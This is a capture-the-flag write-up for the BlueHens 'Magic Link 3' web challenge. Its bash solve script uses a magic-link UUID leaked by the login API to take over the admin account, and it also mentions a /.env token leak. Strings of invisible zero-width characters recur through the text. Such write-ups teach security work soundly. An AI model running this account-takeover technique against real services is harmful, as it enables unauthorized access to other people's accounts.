Magic Link 3

Platform: bluehensctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-22 | Status: Solved Techniques: admin_account_takeover, authentication_token_reuse, magic_link_uuid_extraction

Summary

Task: a Magic Link Login Service where POST /login leaks the magic-link UUID in the JSON response. Solution: request a login link for admin@udctf.com, extract the UUID from the response, visit /login/<uuid> to authenticate as admin, access /dashboard to retrieve the flag.

Magic Link 3 — BlueHens CTF 2026

Description

Magic Link Login Service at https://bluehens-magic-link.chals.io

English summary: a web application implementing magic link authentication. The goal is to gain admin access and retrieve the flag from the dashboard. The critical vulnerability is that the magic link UUID is leaked in the API response.

Analysis

Initial Recon

The application provides a magic link login system with the following endpoints:

• POST /login — accepts email, generates magic link
• /login/<uuid> — authenticates user via magic link
• /dashboard — protected admin area ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

False Lead: The /.env Route

From previous challenges (Magic Link 1 and 2), we knew about:

• /.env exposing TEDDYS_TOKEN
• /inbox?token=<token> for accessing Teddy's inbox

However, this path leads to the Magic Link 2 flag (udctf{m4g1c_l1nks_4r3_w31rd}), not the Magic Link 3 flag. The intended vulnerability is different.

The Real Vulnerability

When requesting a magic link via POST /login, the server returns a JSON response that includes the UUID of the generated link:

 json read-only • copy allowed Copy
{
  "datetime": "...",
  "email": "admin@udctf.com",
  "ip-address": "10.1.0.21",
  "message": "Magic link generated, check your email.",
  "uuid": "ukMUBtGrmzJ-ImKk-xCElQ"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a critical information disclosure. The UUID should only be sent to the user's email, never returned in the API response. By leaking the UUID, an attacker can authenticate as any user without access to their email.

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# Magic Link 3 solve script

TARGET="https://bluehens-magic-link.chals.io"

# Step 1: Request magic link for admin and extract UUID
echo "[*] Requesting magic link for admin@udctf.com..."
RESPONSE=$(curl -sk -X POST -F "email=admin@udctf.com" "$TARGET/login")
echo "[*] Response: $RESPONSE"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

UUID=$(echo "$RESPONSE" | grep -oP '"uuid"\s*:\s*"\K[^"]+')
echo "[*] Extracted UUID: $UUID"

# Step 2: Authenticate using the leaked UUID
echo "[*] Authenticating with magic link..."
curl -sk -c /tmp/cookies.txt "$TARGET/login/$UUID" > /dev/null

# Step 3: Access dashboard
echo "[*] Accessing dashboard..."
curl -sk -b /tmp/cookies.txt "$TARGET/dashboard"

Output:

 html read-only • copy allowed Copy
<h1>Welcome Admin</h1><p>Flag: udctf{REDACTED}</p>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍